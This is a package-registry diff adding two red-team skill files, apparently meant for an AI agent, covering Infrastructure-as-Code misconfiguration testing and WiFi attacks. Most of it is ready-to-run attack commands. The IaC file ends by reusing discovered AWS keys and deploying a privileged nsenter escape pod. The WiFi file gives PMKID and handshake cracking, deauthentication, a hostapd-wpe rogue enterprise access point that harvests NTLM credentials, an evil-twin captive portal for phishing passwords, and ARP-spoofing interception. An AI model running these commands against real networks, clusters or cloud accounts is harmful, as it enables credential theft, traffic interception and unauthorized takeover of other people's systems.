rtexit-method 0.1.16 → 0.1.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,250 @@
1
+ ---
2
+ name: rt-iac-misconfig
3
+ description: "Infrastructure-as-Code (IaC) misconfiguration testing — Terraform, Kubernetes YAML, CloudFormation, Helm, Ansible, Docker Compose. Find hardcoded secrets, overprivileged IAM roles, public buckets, unencrypted storage, insecure network policies. Tools: checkov, tfsec, trivy, kube-score, semgrep. Critical for cloud and DevSecOps engagements. Docker: rtexit/kali:v3.0."
4
+ ---
5
+
6
+ > 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
7
+
8
+ # rt-iac-misconfig — Infrastructure-as-Code Security Testing
9
+
10
+ ## Overview
11
+
12
+ Modern infrastructure is defined as code — and that code has security vulnerabilities. IaC misconfigurations cause the majority of cloud breaches: publicly accessible S3 buckets, overprivileged IAM roles, and unencrypted databases are all defined in code before they become breaches.
13
+
14
+ **When to use:**
15
+ - Cloud engagement with access to IaC repositories
16
+ - DevSecOps assessment
17
+ - After gaining code repository access (GitHub recon → IaC files)
18
+ - Before testing cloud resources — understand how they're configured
19
+
20
+ ---
21
+
22
+ ## Phase 1: Find IaC Files in Target Repos
23
+
24
+ ```bash
25
+ docker exec rtexit-kali bash -c "
26
+ # Search GitHub for IaC files
27
+ ORG=target-company
28
+ TOKEN=YOUR_GITHUB_TOKEN
29
+
30
+ # Terraform files
31
+ curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+extension:tf+provider' \
32
+ -H 'Authorization: token '\$TOKEN | \
33
+ python3 -c 'import json,sys; [print(i[\"repository\"][\"full_name\"], i[\"path\"]) for i in json.load(sys.stdin).get(\"items\",[])]'
34
+
35
+ # CloudFormation
36
+ curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+AWSTemplateFormatVersion' \
37
+ -H 'Authorization: token '\$TOKEN | \
38
+ python3 -c 'import json,sys; [print(i[\"repository\"][\"full_name\"], i[\"path\"]) for i in json.load(sys.stdin).get(\"items\",[])]'
39
+
40
+ # K8s manifests
41
+ curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+apiVersion+kind:+Deployment+path:k8s' \
42
+ -H 'Authorization: token '\$TOKEN | \
43
+ python3 -c 'import json,sys; [print(i[\"repository\"][\"full_name\"], i[\"path\"]) for i in json.load(sys.stdin).get(\"items\",[])]'
44
+ "
45
+ ```
46
+
47
+ ---
48
+
49
+ ## Phase 2: checkov — Comprehensive IaC Scanner
50
+
51
+ ```bash
52
+ docker exec rtexit-kali bash -c "
53
+ # Clone target IaC repo
54
+ git clone https://github.com/target/infrastructure /tmp/infra/
55
+
56
+ # Scan Terraform
57
+ checkov -d /tmp/infra/terraform/ \
58
+ --framework terraform \
59
+ --output cli \
60
+ --compact \
61
+ 2>/dev/null
62
+
63
+ # Scan Kubernetes manifests
64
+ checkov -d /tmp/infra/k8s/ \
65
+ --framework kubernetes \
66
+ --output json > /tmp/k8s_findings.json
67
+
68
+ # Scan CloudFormation
69
+ checkov -d /tmp/infra/cloudformation/ \
70
+ --framework cloudformation \
71
+ --output cli
72
+
73
+ # Scan everything
74
+ checkov -d /tmp/infra/ --output json > /tmp/checkov_all.json
75
+
76
+ # Extract HIGH severity findings
77
+ cat /tmp/checkov_all.json | python3 -c \"
78
+ import json, sys
79
+ r = json.load(sys.stdin)
80
+ for result in r.get('results', {}).get('failed_checks', []):
81
+ print(f'[FAIL] {result[\\\"check_id\\\"]}: {result[\\\"check\\\"][\\\"name\\\"]}')
82
+ print(f' File: {result[\\\"repo_file_path\\\"]}:{result[\\\"file_line_range\\\"]}')
83
+ \"
84
+ "
85
+ ```
86
+
87
+ ---
88
+
89
+ ## Phase 3: Hardcoded Secrets in IaC
90
+
91
+ ```bash
92
+ docker exec rtexit-kali bash -c "
93
+ IaC_DIR=/tmp/infra
94
+
95
+ # gitleaks on IaC repo
96
+ gitleaks detect --source \$IaC_DIR --no-banner --report-format json \
97
+ --report-path /tmp/iac_secrets.json 2>/dev/null
98
+
99
+ # trufflehog on cloned repo
100
+ trufflehog git file://\${IaC_DIR} --json 2>/dev/null | head -50
101
+
102
+ # Manual grep patterns
103
+ echo '=== AWS Keys in IaC ==='
104
+ grep -r 'AKIA[0-9A-Z]\{16\}' \$IaC_DIR --include='*.tf' --include='*.yaml' --include='*.yml' --include='*.json'
105
+
106
+ echo '=== Hardcoded passwords ==='
107
+ grep -rE '(password|secret|token)\s*=\s*\"[^\"]{6,}\"' \$IaC_DIR \
108
+ --include='*.tf' --include='*.yaml' --include='*.yml'
109
+
110
+ echo '=== Database connection strings ==='
111
+ grep -rE 'jdbc:|mongodb\+srv:|postgresql://|mysql://' \$IaC_DIR \
112
+ --include='*.tf' --include='*.yaml' --include='*.yml' --include='*.env'
113
+
114
+ echo '=== Private keys ==='
115
+ grep -r 'BEGIN.*PRIVATE KEY\|BEGIN RSA\|BEGIN EC' \$IaC_DIR -l
116
+ "
117
+ ```
118
+
119
+ ---
120
+
121
+ ## Phase 4: Terraform — IAM & Security Issues
122
+
123
+ ```bash
124
+ docker exec rtexit-kali bash -c "
125
+ IaC_DIR=/tmp/infra/terraform
126
+
127
+ echo '=== Overprivileged IAM policies ==='
128
+ grep -r '\"*\"\|Action.*\*\|Resource.*\*' \$IaC_DIR --include='*.tf' -A2
129
+
130
+ echo '=== Public S3 buckets ==='
131
+ grep -r 'acl.*=.*\"public\|block_public_acls.*false\|ignore_public_acls.*false' \$IaC_DIR --include='*.tf' -B2
132
+
133
+ echo '=== Unencrypted storage ==='
134
+ grep -r 'encrypted.*=.*false\|encryption.*=.*\"none\"' \$IaC_DIR --include='*.tf' -B2
135
+
136
+ echo '=== Security groups wide open ==='
137
+ grep -r 'cidr_blocks.*0\.0\.0\.0/0\|ipv6_cidr.*::/0' \$IaC_DIR --include='*.tf' -B5
138
+
139
+ echo '=== S3 versioning disabled ==='
140
+ grep -r 'versioning' \$IaC_DIR --include='*.tf' -A3 | grep -v 'enabled.*true'
141
+
142
+ echo '=== CloudTrail disabled ==='
143
+ grep -r 'enable_logging.*false\|is_multi_region_trail.*false' \$IaC_DIR --include='*.tf' -B2
144
+ "
145
+ ```
146
+
147
+ ---
148
+
149
+ ## Phase 5: Kubernetes — RBAC & Pod Security
150
+
151
+ ```bash
152
+ docker exec rtexit-kali bash -c "
153
+ K8S_DIR=/tmp/infra/k8s
154
+
155
+ echo '=== Privileged containers ==='
156
+ grep -r 'privileged: true' \$K8S_DIR --include='*.yaml' --include='*.yml' -B5
157
+
158
+ echo '=== hostNetwork / hostPID / hostIPC ==='
159
+ grep -r 'hostNetwork: true\|hostPID: true\|hostIPC: true' \$K8S_DIR --include='*.yaml' -B5
160
+
161
+ echo '=== runAsRoot ==='
162
+ grep -r 'runAsUser: 0\|runAsNonRoot: false' \$K8S_DIR --include='*.yaml' -B5
163
+
164
+ echo '=== AllowPrivilegeEscalation ==='
165
+ grep -r 'allowPrivilegeEscalation: true' \$K8S_DIR --include='*.yaml' -B5
166
+
167
+ echo '=== Hardcoded secrets in env vars ==='
168
+ grep -rE 'value: \"[A-Za-z0-9+/]{20,}\"' \$K8S_DIR --include='*.yaml' -B3
169
+
170
+ echo '=== RBAC * permissions ==='
171
+ grep -r 'verbs:.*\\\"\*\\\"\\|resources:.*\\\"\*\\\"' \$K8S_DIR --include='*.yaml' -B5
172
+
173
+ echo '=== Exposed NodePort/LoadBalancer ==='
174
+ grep -r 'type: NodePort\|type: LoadBalancer' \$K8S_DIR --include='*.yaml' -B10 | grep -E 'name:|type:|port:'
175
+ "
176
+ ```
177
+
178
+ ---
179
+
180
+ ## Phase 6: trivy — IaC + Container Vulnerability Scan
181
+
182
+ ```bash
183
+ docker exec rtexit-kali bash -c "
184
+ # Scan IaC directory
185
+ trivy config /tmp/infra/ \
186
+ --format table \
187
+ --exit-code 0 \
188
+ --severity HIGH,CRITICAL
189
+
190
+ # Scan Dockerfile
191
+ trivy config /tmp/infra/Dockerfile
192
+
193
+ # Scan Helm chart
194
+ trivy config /tmp/infra/helm/
195
+
196
+ # Scan K8s manifests
197
+ trivy k8s --report summary /tmp/infra/k8s/
198
+ "
199
+ ```
200
+
201
+ ---
202
+
203
+ ## Phase 7: Exploit Found Misconfigs
204
+
205
+ ```bash
206
+ docker exec rtexit-kali bash -c "
207
+ # Example: Found public S3 bucket in Terraform
208
+ # → check if bucket is actually public
209
+ s3scanner scan --bucket target-company-backups
210
+
211
+ # Found AWS credentials in .tf file
212
+ # → use them
213
+ aws configure set aws_access_key_id FOUND_KEY
214
+ aws configure set aws_secret_access_key FOUND_SECRET
215
+ aws sts get-caller-identity
216
+ aws iam list-attached-user-policies --user-name \$(aws iam get-user | python3 -c 'import json,sys; print(json.load(sys.stdin)[\"User\"][\"UserName\"])')
217
+
218
+ # Found K8s config with privileged pod
219
+ # → deploy escape pod
220
+ kubectl apply -f - << 'EOF'
221
+ apiVersion: v1
222
+ kind: Pod
223
+ metadata:
224
+ name: escape
225
+ spec:
226
+ hostPID: true
227
+ hostNetwork: true
228
+ containers:
229
+ - name: escape
230
+ image: alpine
231
+ command: ['nsenter', '--target', '1', '--mount', '--uts', '--ipc', '--net', '--pid', '--', 'bash']
232
+ securityContext:
233
+ privileged: true
234
+ EOF
235
+ "
236
+ ```
237
+
238
+ ---
239
+
240
+ ## Related Skills
241
+ - `rt-exploit-cloud-aws` — exploit found AWS misconfigs
242
+ - `rt-kubernetes` — exploit K8s RBAC issues
243
+ - `rt-github-recon` — find IaC repos first
244
+ - `rt-supply-chain` — IaC pipeline security
245
+ - `rt-exploit-containers` — container escape after finding privileged pods
246
+
247
+ ## References
248
+ - https://www.checkov.io/
249
+ - https://aquasecurity.github.io/trivy/
250
+ - https://attack.mitre.org/techniques/T1580/ — Cloud Infrastructure Discovery
@@ -0,0 +1,273 @@
1
+ ---
2
+ name: rt-wifi-attacks
3
+ description: "Advanced WiFi penetration testing — WPA2 PMKID capture (clientless), Evil Twin / WPA Enterprise downgrade (hostapd-wpe), KRACK attack, WPS brute force, deauth attacks, rogue AP with credential capture, enterprise 802.1X PEAP downgrade. Tools: wifite2, aircrack-ng, hcxdumptool, hcxtools, hostapd-wpe, bettercap. For physical red team engagements requiring wireless access."
4
+ ---
5
+
6
+ > 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
7
+ > ⚠️ **Requires:** WiFi adapter with monitor mode (e.g., Alfa AWUS036ACH) passed to Docker via `--device` or USB passthrough
8
+
9
+ # rt-wifi-attacks — Professional WiFi Penetration Testing
10
+
11
+ ## Overview
12
+
13
+ WiFi attacks remain highly effective for physical red team engagements — bypass perimeter security by capturing credentials on the parking lot, or setup a rogue AP at client offices to capture enterprise creds.
14
+
15
+ **When to use:**
16
+ - Physical red team engagement requiring network access
17
+ - Testing wireless security of corporate WiFi
18
+ - Demonstrating WPA2-Enterprise credential theft
19
+ - Testing guest WiFi isolation
20
+
21
+ ---
22
+
23
+ ## Setup — WiFi Adapter in Docker
24
+
25
+ ```bash
26
+ # Check available WiFi interfaces on host
27
+ ip link show | grep wlan
28
+ iwconfig
29
+
30
+ # Pass adapter to Docker
31
+ docker run -it --privileged \
32
+ --net=host \
33
+ --device=/dev/bus/usb \
34
+ rtexit/kali:v3.0
35
+
36
+ # Or with specific interface
37
+ docker exec rtexit-kali bash -c "
38
+ airmon-ng start wlan0
39
+ iwconfig wlan0mon
40
+ "
41
+ ```
42
+
43
+ ---
44
+
45
+ ## Phase 1: Survey & Reconnaissance
46
+
47
+ ```bash
48
+ docker exec rtexit-kali bash -c "
49
+ # Enable monitor mode
50
+ airmon-ng check kill
51
+ airmon-ng start wlan0
52
+
53
+ # Scan all networks
54
+ airodump-ng wlan0mon
55
+
56
+ # Capture specific BSSID (2.4GHz + 5GHz)
57
+ airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/capture wlan0mon
58
+
59
+ # Also use bettercap for passive scan
60
+ bettercap -iface wlan0mon -eval 'wifi.recon on; sleep 30; wifi.show'
61
+ "
62
+ ```
63
+
64
+ ---
65
+
66
+ ## Phase 2: WPA2 PMKID Attack (No Clients Needed)
67
+
68
+ ```bash
69
+ docker exec rtexit-kali bash -c "
70
+ # PMKID attack — capture handshake without deauth, no clients needed
71
+ # Step 1: Capture PMKID with hcxdumptool
72
+ hcxdumptool -i wlan0mon \
73
+ --enable_status=1 \
74
+ -o /tmp/pmkid_capture.pcapng \
75
+ --filtermode=2 \
76
+ --filterlist_ap=/tmp/target_bssids.txt &
77
+ sleep 60
78
+ kill %1
79
+
80
+ # Step 2: Convert to hashcat format
81
+ hcxpcapngtool -o /tmp/pmkid.hash /tmp/pmkid_capture.pcapng
82
+
83
+ # Step 3: Crack with hashcat (mode 22000 = WPA2)
84
+ hashcat -a 0 -m 22000 /tmp/pmkid.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt \
85
+ --force --status
86
+
87
+ # Step 4: Rule-based attack
88
+ hashcat -a 0 -m 22000 /tmp/pmkid.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt \
89
+ -r /opt/hashcat/rules/best64.rule --force
90
+ "
91
+ ```
92
+
93
+ ---
94
+
95
+ ## Phase 3: WPA2 4-Way Handshake (Traditional)
96
+
97
+ ```bash
98
+ docker exec rtexit-kali bash -c "
99
+ TARGET_BSSID=AA:BB:CC:DD:EE:FF
100
+ TARGET_CHANNEL=6
101
+
102
+ # Step 1: Start capture
103
+ airodump-ng -c \$TARGET_CHANNEL --bssid \$TARGET_BSSID -w /tmp/handshake wlan0mon &
104
+
105
+ # Step 2: Deauth a client to force handshake
106
+ aireplay-ng --deauth 10 -a \$TARGET_BSSID wlan0mon
107
+ sleep 5
108
+
109
+ # Step 3: Verify capture has handshake
110
+ aircrack-ng /tmp/handshake*.cap | grep 'handshake'
111
+
112
+ # Step 4: Convert + crack
113
+ hcxpcapngtool -o /tmp/handshake.hash /tmp/handshake*.cap
114
+ hashcat -a 0 -m 22000 /tmp/handshake.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --force
115
+
116
+ # Step 5: Wordlist generation from SSID (CUPP + cewl)
117
+ cupp -i # interactive — enter target org info
118
+ cewl https://target.com -m 8 -d 2 > /tmp/target_words.txt
119
+ hashcat -a 0 -m 22000 /tmp/handshake.hash /tmp/target_words.txt --force
120
+ "
121
+ ```
122
+
123
+ ---
124
+
125
+ ## Phase 4: WPA2-Enterprise PEAP Downgrade (EAP Harvest)
126
+
127
+ ```bash
128
+ # Capture domain\username + NTLM hash from enterprise WiFi clients
129
+ # Uses hostapd-wpe to intercept MSCHAPv2 challenge-response
130
+
131
+ docker exec rtexit-kali bash -c "
132
+ # Check if target uses WPA2-Enterprise
133
+ airodump-ng wlan0mon | grep 'WPA2.*EAP\|MGT'
134
+
135
+ # Set up rogue Enterprise AP
136
+ # 1. Create hostapd-wpe config
137
+ cat > /tmp/hostapd-wpe.conf << 'EOF'
138
+ interface=wlan0
139
+ driver=nl80211
140
+ ssid=CORPORATE-WIFI
141
+ channel=6
142
+ hw_mode=g
143
+ ieee8021x=1
144
+ eap_server=1
145
+ eapol_key_index_workaround=0
146
+ eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
147
+ ca_cert=/etc/hostapd-wpe/certs/ca.pem
148
+ server_cert=/etc/hostapd-wpe/certs/server.pem
149
+ private_key=/etc/hostapd-wpe/certs/server.key
150
+ private_key_passwd=whatever
151
+ dh_file=/etc/hostapd-wpe/certs/dh
152
+ auth_algs=3
153
+ wpa=2
154
+ wpa_key_mgmt=WPA-EAP
155
+ wpa_pairwise=CCMP TKIP
156
+ rsn_pairwise=CCMP
157
+ EOF
158
+
159
+ # 2. Launch rogue AP + deauth clients from real AP
160
+ hostapd-wpe /tmp/hostapd-wpe.conf &
161
+
162
+ # Deauth from real Enterprise AP
163
+ aireplay-ng --deauth 5 -a REAL_AP_BSSID wlan0mon
164
+
165
+ # Captured creds appear in /var/log/hostapd-wpe.log
166
+ tail -f /var/log/hostapd-wpe.log | grep -i 'username\|password\|response'
167
+ "
168
+ ```
169
+
170
+ ```bash
171
+ docker exec rtexit-kali bash -c "
172
+ # Crack captured NTLM challenge-response
173
+ # Format: username:domain:challenge:response
174
+ # Use asleap or hashcat mode 5500 (MSCHAPv2)
175
+
176
+ # asleap method
177
+ asleap -C CHALLENGE_HEX -R RESPONSE_HEX -W /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
178
+
179
+ # hashcat method (mode 5500 = NTLMv1, mode 5600 = NTLMv2)
180
+ echo 'USER:DOMAIN:CHALLENGE:RESPONSE' | hashcat -a 0 -m 5600 - rockyou.txt --force
181
+ "
182
+ ```
183
+
184
+ ---
185
+
186
+ ## Phase 5: Evil Twin — WPA2 Personal Credential Phishing
187
+
188
+ ```bash
189
+ docker exec rtexit-kali bash -c "
190
+ # Create fake AP with captive portal asking for WiFi password
191
+ TARGET_SSID='CorpGuest'
192
+
193
+ # Method: airbase-ng + DNSmasq + Apache captive portal
194
+ airbase-ng -e '\$TARGET_SSID' -c 6 wlan0mon &
195
+
196
+ # Configure DHCP
197
+ cat > /tmp/dnsmasq.conf << 'EOF'
198
+ interface=at0
199
+ dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h
200
+ dhcp-option=3,10.0.0.1
201
+ dhcp-option=6,10.0.0.1
202
+ server=8.8.8.8
203
+ log-queries
204
+ log-dhcp
205
+ address=/#/10.0.0.1
206
+ EOF
207
+
208
+ ifconfig at0 10.0.0.1 netmask 255.255.255.0
209
+ dnsmasq -C /tmp/dnsmasq.conf
210
+
211
+ # Captive portal page to harvest PSK
212
+ # Serve a fake 'WiFi login' page on Apache
213
+ # When victim enters PSK → test against handshake capture → if match: real password
214
+ "
215
+ ```
216
+
217
+ ---
218
+
219
+ ## Phase 6: wifite2 — Automated All-in-One
220
+
221
+ ```bash
222
+ docker exec rtexit-kali bash -c "
223
+ # wifite2 automates everything: capture + deauth + crack
224
+
225
+ # Attack all visible networks
226
+ wifite --wpa --pmkid --dict /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
227
+
228
+ # Attack specific target
229
+ wifite -e 'CORP-WIFI' --pmkid --dict /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
230
+
231
+ # WPS attack on vulnerable APs
232
+ wifite --wps-only --no-wpa
233
+ "
234
+ ```
235
+
236
+ ---
237
+
238
+ ## Phase 7: Post-Compromise — Traffic Analysis
239
+
240
+ ```bash
241
+ docker exec rtexit-kali bash -c "
242
+ # After cracking WPA2 key — capture all traffic
243
+ # Connect to network then:
244
+
245
+ # ARP poisoning → MITM all traffic
246
+ bettercap -iface wlan0 -eval '
247
+ net.probe on
248
+ sleep 5
249
+ net.show
250
+ set arp.spoof.targets 192.168.1.0/24
251
+ arp.spoof on
252
+ net.sniff on
253
+ '
254
+
255
+ # Capture credentials from HTTP
256
+ tcpdump -i wlan0 -w /tmp/wifi_capture.pcap &
257
+ # After capture:
258
+ # PCredz -f /tmp/wifi_capture.pcap
259
+ "
260
+ ```
261
+
262
+ ---
263
+
264
+ ## Related Skills
265
+ - `rt-exploit-network` — post-WiFi network exploitation
266
+ - `rt-ssl-mitm` — intercept HTTPS after WiFi access
267
+ - `rt-exploit-physical` — physical access scenarios
268
+ - `rt-redteam-infra` — set up C2 after WiFi access
269
+
270
+ ## References
271
+ - https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2
272
+ - https://github.com/ZerBea/hcxdumptool
273
+ - https://attack.mitre.org/techniques/T1465/ — Rogue Wireless Access Point